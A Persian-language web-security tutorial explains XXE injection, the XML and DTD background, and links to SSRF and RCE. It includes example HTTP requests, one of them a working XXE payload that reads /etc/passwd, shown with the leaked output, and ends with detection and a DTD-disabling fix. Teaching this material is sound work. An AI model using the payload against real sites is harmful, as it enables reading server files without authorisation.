بررسی آسیب پذیری XXE Injection در وب سایت ها و نحوه تست نفوذ سنجی این آسیب پذیری
نویسنده: امیرحسین تنگسیری نژاد
آسیب پذیری XXE مخفف XML external entity injection یک آسیب پذیری تحت وب که به موجب آن ما توانایی اجرای کد های مخرب XML را پیدا خواهیم کرد، با استفاده از این حمله فرد مهاجم توانایی پیاده سازی یک حمله DoS و یاهمان Denial-Of-Service را پیدا خواهد کرد حتی به این منظور توانایی خواندن فایل های Local درون سیستم را نیز دارد
گاهی مواقع این آسیب پذیری را می توان به آسیب پذیری RCE تبدیل کرد و از طریق آن کد های مخرب خود را از راه دور بر روی سیستم اجرا کنیم
در صورتی توانایی تبدیل این آسیب پذیری به RCE را داریم که وب سایت مورد نظر توانایی اجرای expect که یک Function در زبان برنامه نویسی PHP می باشد را داشته باشد
این آسیب پذیری قابلیت تبدیل شدن به آسیب پذیری های دیگری همچون SSRF را نیز دارد و از طریق آن ما توانایی دسترسی به سرور ها و سیستم های درون شبکه آنرا پیدا خواهیم کرد
این آسیب پذیری زمانی رخ می دهد که ما توانایی تجزیه کد های XML و DTD را داشته باشیم
مخفف Extensionible Markup Language می باشد. XML یک فرمت داده بسیار ساده و کاربرد می باشد که در اکثر سرور ها همچون SOAP, XML-RPC و REST برای فرمت های داده مختلفی ازجمله DOCX, HTML ,Exif-Data و فایل های SVG مورد استفاده قرار می گیرد
مخفف Document Type Definition می باشد و مشخص کننده ساختار و Eleman های مجاز و خصوصیات یک داده XML است. به زبان ساده تر و با یک مثال جامع به اینطورت است که گروه های مستقل مردم می توانند با توافق در استانداردها با هم تبادل داده و اطلاعات نمایند از این رو یک اپلیکیشن با استفاده از DTD می تواند بررسی نماید که داده های XML معتبر است یا که خیر
در مثال زیر یک نرم افزار وب ساده که ورودی XML را بررسی و اجرا می کند و خروجی آن را به ما نمایش می دهد را میبینید
POST http://example.com/xml HTTP/1.1 <foo> Hello World </foo>
HTTP/1.0 200 OK Hello World
این ساده ترین نوع از آسیب پذیری XXE می باشد
می توان اینکار را به شکل دیگری از طریق DTD نیز انجام داد زیرا آسیب پذیری XXE Injection در سمت رخ می دهد
POST http://example.com/xml HTTP/1.1 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY Virgool "World"> ]> <foo> Hello &Virgool; </foo>
HTTP/1.0 200 OK Hello World
POST http://example.com/xml HTTP/1.1 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo> &xxe; </foo>
HTTP/1.0 200 OK root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh (...)
این آسیب پذیری را می توان از طریق اسکنر های مختلف و قدرتمند در این زمینه کشف کنید، همچنین می توانید با تست نفوذ سنجی و بررسی آیا XML Parser در مکان خاصی از وب سایت رخ می دهد یا خیر این آسیب پذیری رو کشف کنید
ساده ترین راه جلوگیری از این حمله غیرفعال سازی DTD می باشد